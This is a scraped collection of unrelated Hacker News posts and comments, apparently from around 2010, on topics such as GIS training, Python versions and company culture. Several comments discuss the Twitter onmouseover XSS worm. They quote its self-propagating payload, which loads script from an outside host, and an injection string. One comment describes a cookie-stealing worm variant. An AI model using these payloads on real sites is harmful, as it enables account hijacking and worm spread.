skysight-inc/HackerNews huggingface dataset:
GIS Training for a non-profit - Help Needed
Hello,

This is a request from Pukar, a non-profit that does meaningful work in public policy planning in Mumbai. The Slums in Mumbai are ever-expanding and the residents usually do not figure in any government census and hence do not have access to any government benefits. Pukar aspires to keep tab of the slums and its residents using GIS. They have two staff members that have some basic knowledge in GIS and are in need of some expert advise / training. This might be a few hours of work (one-time) for whoever is willing to volunteer to teach them. They are located in Mumbai, but training can be imparted pretty much from anywhere.

Please forward it to anyone that might be of help. Please see the list of what they need to know below. You can see more information about Pukar here - www.pukar.org.in

Regards
Karthik

Dear Karthik,

Here is a small note on what we know about GIS and what we would like to focus in the next phase of our training programme:

What we know about GIS?

- We can manoeuvre the GIS Arc Map Software.

- Learnt the basics of how to create vector data but don’t completely understand the usability and analytical concepts behind it.

- Terminology of various GIS applications and files.

BaBasically we can understand and manoeuvre around the software but would like to sharpen our theory and application.

What we want to know?

- Our target is to understand,

o Various GIS applications and tools for spatial analysis

o Quality of data offered to us and how to use it …

o What tools to use for analysis and when?

o Best possible ways to present qualitative and quantitative data

o Various tools and components for using the GIS

o Learn to setup and handle a project

We also want to understand the basic geographical concepts behind GIS and its applications for specific purposes.

I hope this will help you for further proceeding.

Thanks & Regards,
--
Reshma ludbe
Mythologies of Mumbai,
Dharavi
PUKAR
In these days of unlimited free e-mail services (gmail, etc) you'd think someone wouldn't use their personal e-mail account to sell stolen goods...
Not true:
“Technology is only cool if it solves a real problem”
I just noticed a Twitter virus
It spreads when someone hovers over the text on their web-based timeline. It does not appear to spread in search results or individual tweet page.

e.g. http://twitter.com/ibackupyourshit/status/25112187461
Twitter security flaw allows third-party sites to open on mouseover
Really? I don't know... Surely the fact is that it's way too easy to unwittingly publish anything to the whole world on FB?
The author focuses on the removal of features from Java, like generics and method overloading (!). His polemics about complex features ("Scala [...] quickly bites your head off") are unnecessary.

But from a hacker's point of view, Java is not expressive enough. Do we need to accept a dumber mainstream language for "the masses", or can we advance the state of the art by moving most developers to more expressive languages?
> Johnson deplores the trend toward specialization with the lament of a designer who also knows how to handle machine tools. “Some of the fellows in the Skunk Works never had any cutting oil splashed on them.”

There are plenty of programmers that have never held a soldering iron either.

I'm not even sure if that's 'good' or 'bad', it seems there are advantages to knowing what goes on under the hood but at the same time that knowledge comes in to play less and less every day.
How does moving educational goal posts based on race raise the level of education in the US?

Furthermore, the educational system you describe already occurs throughout many parts of the US. Test prep and the private sector is not an answer to a societal/cultural problem.
What Do Bingo Card Creator and Google Have In Common?
This is a major problem. PETSc uses Python for configuration and we have to be careful not to use any features requiring >2.3. The last release (this spring) required 2.2 because RHEL3 is still supported (in production phase 3, see http://www.redhat.com/security/updates/errata/) until Oct 31, 2010. Python is easy to install, but it's a lot to ask of users when they just want to get your software up and running. Note that RHEL4 sees end of life Feb 29, 2012 and RHEL5 not until Mar 31, 2014. So Python-2.4 support will have to live for a very long time.

I hate this, but don't see a decent alternative. Many of our users are building in batch environments of varying ages and just want to get their science done. Shell/bash is not very portable, it would be painful to write all the configuration in C (and confusing because people would need to both native compilers and cross-compilers).
> You are basically forcing your 'dietary' choices to everybody else in the company.

no im not. everyone earns wages they can spend the way they want. just the company will not spend money on dead animals.

my choice to be vegetarian is out of compassion not dietary considereations. if meat can come from a petridish or a lab i will buy and eat it -- but currently is it not, it comes from a sentient being.

> You are a business, not a cult.

i understand so much. but by taking company culture seriously (what the article is about) some companies are quite cult-like, and have (as the article shows) benefits of that.
We're talking about technology, not politics so consensus be damned. There is a fact of the matter independent of perception and lack of consensus in and of itself is not a valid attack on a position.

In this case maybe we can listen to those who claim the python situation isn't that bad and have provided specific technical solutions for evaluation.
The ending is written as if the Myspace page was what sprung the trap on him. But was it the photo of him at McDonalds that they used or his online ones?

So it reads more like Credit card statement -> McDonald's photo -> arrest. With all her extraneous snooping around that?

I don't want to make assumptions, but I bet there was one annoyed police officer in California.
I stand by this.

I recently bought a Merkur safety razor and a sample pack of different blade brands.

I have been recommending all of my male friends to make the switch.
Why not? They intentionally leave permissive settings that they understand are probably not what the user wants, or at least not really "safe" defaults, because they want more pageviews. They do the same things with profiles -- they retroactively publicize information and everything is accessible by everyone by default because it corresponds to better numbers for Facebook.

"If you're not paying for something, you are the product."

Now, I agree that people should understand that and be cautious while using Facebook et al, but the fact is that there is quite a bit of naiveté going on out there. People assume Facebook is benevolent, this organization run by a guy who just really cares about friends connecting with each other and wouldn't do anything tricky or bad like set up insecure defaults because it lends to an easier payday.

The real question is how we install this necessary skepticism and precaution in users. More Chris Hanson-esque entrapment? That hasn't seemed to work so far...
It strikes me that people who are bothered by theft in the modern age just haven't got the whole digital revolution on quite a profound level. She lists the things that bothered her as "the BlackBerry with contact information for dear old friends, the wedding anniversary wallet that her husband bought her when she finished chemo, stuffed with about two years' worth of love letters from her toddlers, hopeful doctors' notes, and other scraps of paper she couldn't bear to part with".

The wallet itself I kind of get, but the rest is just data. With a ScanSnap and an iDrive account, the stuff that matters becomes so many electrons in the grid. Send the bits of dead tree off to Iron Mountain, insure your gadgets and stop worrying.

I think it's a sort of zen exercise, separating sentiment from utility. If suffering really is caused by attachment to transient things, then it seems to me that we have a truly unique opportunity to break attachments wholesale, at little or no cost. Keep your bits in the cloud and treat your atoms as if they're borrowed (which ultimately they are).

If we really want to reduce crime, locking people up isn't going to help - we have decades of recidivism as proof. There's no such thing as deterrent, not for people with chaotic childhoods who never developed self control or long-term thinking. If I'm robbed from, it's my fault, because I haven't done enough for the people in society with lives so crappy that petty theft seems like an attractive career.

Here in the UK, the average prison inmate is functionally illiterate, mentally ill and addicted to drink or drugs. One in ten is psychotic and one in five has attempted suicide. I imagine the numbers are much the same in the US. I see a lot of comments in this thread about preventing crime, about punishment and deterrent. If it worked, why is recidivism so high? Is the best we can do just locking people up?
Well, there's some real stuff including the Art of Electronics in the Google spreadsheet. But your points are well taken.
it is an ethical consideration, not a dieatary one. im not trying to enforce a diet unto people --an employee is free to use his/her salary-- it is merely an ethical guideline for the company: abstain from killing sentient life.
What's the point of ever producing newer versions of a language with new features (or, golly, even bug fixes) if no one will ever use them because everyone has a 'lowest common denominator' mentality? More to the point, what is the process of changing the 'lowest common denominator' everyone's using?
Makes you wonder what the Spanish pilots did right that went wrong elsewhere.

of course they didn't fly nearly as many F104s as the other airforces but still, a '0' where elsewhere the percentages of losses are some of the largest of all fighter jets ever recorded should at least make for an interesting investigation. Not that it matters anymore with the F104 being retired from service but there might be something to be learned from that.
In my Java shop, we try to write ultra-efficient code. Avoiding the creation of numerous small objects in critical sections is one of the best ways to achieve that.

I don't know anything about Java, but the Objective-C GC recycles old allocations to avoid this exact problem. For example

for (int i = 0; i < 10000; i++)
{
Foo *foo = [[Foo alloc] init];
}

Instead of allocating memory for foo 10000 times, older allocations are kept in a pool and reused for subsequent iterations. So the actual cost of -alloc is just a memset (i.e. nothing). Java's GCs are much more mature, so I would assume they have the same optimisation.
Sorry, but a crime like this does no involve the criminal getting a new passport and leaving town in 2 days time.
I make my living by substitute teaching right now, as well as running creative writing workshops for K-12 students in the state in which I live (I'm in the midwest). In the last calendar year, I've been roughly 25 different schools. In addition to this, I do research with a former professor of education, and maintain a pretty wide network of friends and professional contacts who are teachers.

And, depending on the grade and on the school, it is like this.

The professor whom I work with has this as one of her primary research areas, and has told me story after story of going into elementary schools (particularly on the western, less populated half of our state) in which teacher-student interactions are scripted down to the minute, and teachers are evaluated based on whether or not they follow the script.

The major high school across the street from where I live (~1500 students) has a science department where none of the teachers have written their own lesson plans in about 3 years; they use the lesson plans in the district binder (I've taught from those lesson plans; they're barely rigorous, and conflate superficial knowledge memorization with actual learning).

A friend of mine is a language and communication arts teacher in a middle school; if he wants to deviate from the lesson plan binder, he has to submit a proposal for the new unit (there can't just be one lesson) during the summer, at which point it's at the mercy of the committee.

While I was teaching in Kansas, my lesson plans were written for me, and I was punished any time I went away from them, even when it was clear that my students needed more time with something before they understood it ("If you were a good teacher, and if they were paying attention, they'd get it the first time. Make them come in during lunch.").

There are plenty of holdouts, thankfully; schools which serve mostly affluent students (particularly schools with strong enough test results that they can get away with it) seem to have done well. Additionally, there are a lot of more urban schools which serve students who are not quite so affluent and which have managed to hold out, though I suspect some of this is an accident of the difficulties of administrating a big school in which math is the least of most students' worries.
ahah well done, see that nobody's safe from flaws...
His first comment on the site got voted way down, and when the admins block somebody, they can are still allowed to post - they're just invisible to people with showdead off.
I love ihackernews! The integration with ViewText makes it a perfect choice to read HN stories on my phone. Thanks and Great Job!
Ok, sorry if this question seems amateurish, but I don't quite understand this exploit. I went to my twitter page and it automatically posted a tweet, tried to send DMs etc. A lot of weird stuff was going on so I closed the tab immediately and looked for information on this.

Does it mean my account is somehow affected or is it just someone in my timeline who posted this exploit?

Edit: Maybe 'affected' is the wrong term. After reading the article again, I think this code just has to be in my timeline to work. Please correct me if I'm wrong.
It's McDonalds Vs. Burger King
Bored hunters force Google to lay fiber underground in Oregon
Downvoting is downvoting, it's not censorship.
employees are free to endulge any kind of food they choose to buy with their salary. it is just the company that is not choosing 'meat'.
مسلسل سيلا الحلقة 19
"The retailer will still wipe an e-book if a court or regulatory body orders it"

To be fair, a court could probably also order the police to come to your house and confiscate your paper books. In that sense, you really don't own anything - ownership is a product of governments. (Or rather, a product of guns).
Have you ever been robbed? Also, it sounds like the "transient things" were the things that helped her get through chemo. Have you every gone through that?
This is what it posts "<a href="http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT... style="color:#000;background:#000;/" class="tweet-url web" rel="nofollow" target="_blank">http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT... style="color:#000;background:#000;/</a>"

It's not a huge security flaw, just some (this time) harmless javascript injection. What it does is it fires a mouseover event, then fills the main textarea with itself and clicks submit.

Elegant and bloody lovely.

Also very easy for twitter to fix.
It should be noted that 30-50% of teachers leave the profession within the first 5 years.
I just ran into this and it's amazing. The one I caught was an onmouseover that automatically propagates itself. Perhaps the world's first Javascript virus.
It's easy to publish things to the entire world online just about everywhere, Facebook has a checkbox right above the button that say 'create event' that takes care of it. Granted it is checked on by default, but it is in no way misleading.

If the issue boils down to whether or not Facebook should have that checkbox off by default, then it really is quite ridiculous.
I got one with this content:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

With the URL expanding to:

http://is.gd/fl9A7

Which is a 301 redirect to:

http://lexasoft.jino-net.ru/up1415.js

Which has the content:

$('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/");
$('.status-update-form').submit();

So at least that one does nothing more than propagate itself, but it would be really easy to write one that's more harmful to users.
Right now you might be safer using a third-party Twitter client rather than the Twitter.com website.

Hmm, I wonder how many web-based twitter clients and widgets have similar vulnerabilities. I bet quite a few.
You're right. I bungled it up and didn't treat the rates as marginal.
I just wrote a proof-of-concept worm that steals session cookies. It spreads by retweeting. If something like this was released it would spread like wildfire.

Reminds me of the MySpace worm that took the site down

Time to change your passwords!

(Edit: I will post the vuln code once this is patched. Atm I am playing with having the payload make Ajax queries back to Twitter :). Having shortcut functions in the page (ie. $() to grab an element), url shorteners and ability to include external JS mean that you can do almost anything in the 140 char payload.

Explainer:

The vulnerability is because URL's are not being escaped properly. For eg. the following URL is posted to Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span>

You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element.

You don't have to use onmouseover. You could close the link and then insert some external javascript that can re-write your tweet to make it look innocent (or hide that entire tweet), then attach a mousemove event to the body document. This means you could propagate a worm silently and without requiring a mouseover on the actual tweet.

(edit: pretty concerned about the number of people here who think that being able to inject javascript on a site in the context of a users session is not a big deal)
This comparison is right in the sense what it gets wrong: the time and context.
IE6 is sure crappy by today's standards, but back in 2001 it was the best browser you could get: Netscape lost it since release of Netscape 4 which was the crap.
And hey, IE6 even got box model fixed! Too bad it had no competition and stagnated till Firefox appeared and started kicking IE's ass.
In similar vein a lot of "criticism" of MySQL is done by those not aware of the latest developments of this DB, different engines it supports and different modes it can work in. Well, at least "MySQL does not support transactions" cannot be heard anymore.
The Spammers' Compendium
Great post! I don't think I spend enough time on questions.
> equivalent of targeting Python 1.6 and 2.0.

I'm less in touch with Perl language development in the past decade, but my impression is that the difference between Perl-5.6 and Perl-5.12 is much less than between these versions of Python and recent releases. This is expected when a language evolves rapidly, but it's rather frustrating to wait 10 years before you can depend on the "new" features being available.
Where do you get "no one will ever use them" from? We're talking about the darned config script which the guy first wrote in Python and then discovered that he would have to write the processing of that file in the lower version of Python than he blindly used or to use C. And he decided to use C, I still haven't read anywhere why exactly.

The platforms upgrades have their own dynamic. But you just shouldn't be surprised that somebody who has the server running for years doesn't want to install the latest Python only to process one config script. Not more not less.
Furthermore, you already had the qualifier "if" in there.

Now that I see what you were referring to, I fully agree with you.
What is Mobile Commerce, and Why Should You Care?
trust people to do the right thing, but verify that they are not doing anything malicious

Good point.

Metafilter does this, actually. When you sign up you pay a once off fee of $5 (the meta-filter). If you do something especially bad, they shut your account down and don't return the $5 (AFAIK).
Infected Acne - How to Treat Swollen Acne?
Relatively harmless as viruses go, so I have to admit to being a bit excited at watching a little bit of internet history unfold.

EDIT: mea culpa, you're quite right -- the potential for this is disastrous in terms of CSRF attacks and so on. I was thinking about this particular implementation that appeared to simply be propagating itself.
Instead of inventing your own syntax, why didn't you use a portable syntax like XML, JSON, YAML, or better yet, libconfig[1]?

Please compare the libconfig test file to the mongrel configuration file:

http://www.hyperrealm.com/libconfig/test.cfg.txt

http://mongrel2.org/doc/tip/docs/manual/book.wiki#x1-190003....

The mongrel conf is a subset of libconfig; it doesn't use the more advanced features. Plus libconfig has bindings and versions of it in nearly every mainstream language.

[1]http://www.hyperrealm.com/libconfig/libconfig.html
Ask HN: Getting Quora's stylesheet
I'm not sure if it's possible or even allowed but I want to download Quora's stylesheet because there's a few things about the design that I'd like to use on my site. How would I go about doing this? Are there any add-ons for Firefox (3.6 running on Mac)?
Exactly, and the baroqueness of package managers and the excentric configuration ideas of package writers are a symptom of that.
This highlights the value of contingency planning and tenacity.

With the suspect's photo in the McDonald's, the police might have been able to find him, and convict him for possession of stolen property, especially with his criminal history. But the author wasn't done! She turned his email address into his complete online identity. This provided an extra link to the crime, the stolen GPS, and some extra supporting information, like the comment on MySpace about hitting the lottery. She made life easy for the police by finding the suspect's name. She stopped the case from falling through the cracks, and gave the police enough leverage to get a guilty plea.

This is why I don't believe (very strongly) in luck. Many facets of the case were fortunate: the Craigslist ad, the email reuse, the McDonalds surveillance picture, the MySpace profile, etc. But she was given multiple trails of breadcrumbs that she followed to their inevitable conclusion.
Code Known as Flash Cookies Raises Privacy Concerns
download any non-web client (i suppose even mobile one will work, but non-javascript one), and remove all the messages that were posted by that script.
use non-web clients for reading and posting tweets for next day or two.
to be on a safe side, avoid using web version of client for several days, at least until it all gets figured out by twitter guys.
If you get caught, just log into twitter via http://www.accessibletwitter.com/ to delete the item it posts.
BuySellAds Founder, Todd Garland Shares his Startup Story
now that's a triumph of good over evil narrative I can get behind.

thanks for the reply -- great article.
In Ubuntu the default "Disk Usage Analyser" (the projeect name is "Boabab") in Applications -> Accessories does this.

By default it's a ring chart but there's a menu to select treemap instead. The authors seem to believe that treemaps are good for comparing only size, but the ring chart shows hierarchy well too.

http://www.marzocca.net/linux/baobab/baobab-ringschart.html

http://www.marzocca.net/linux/baobab/baobab-treemaps.html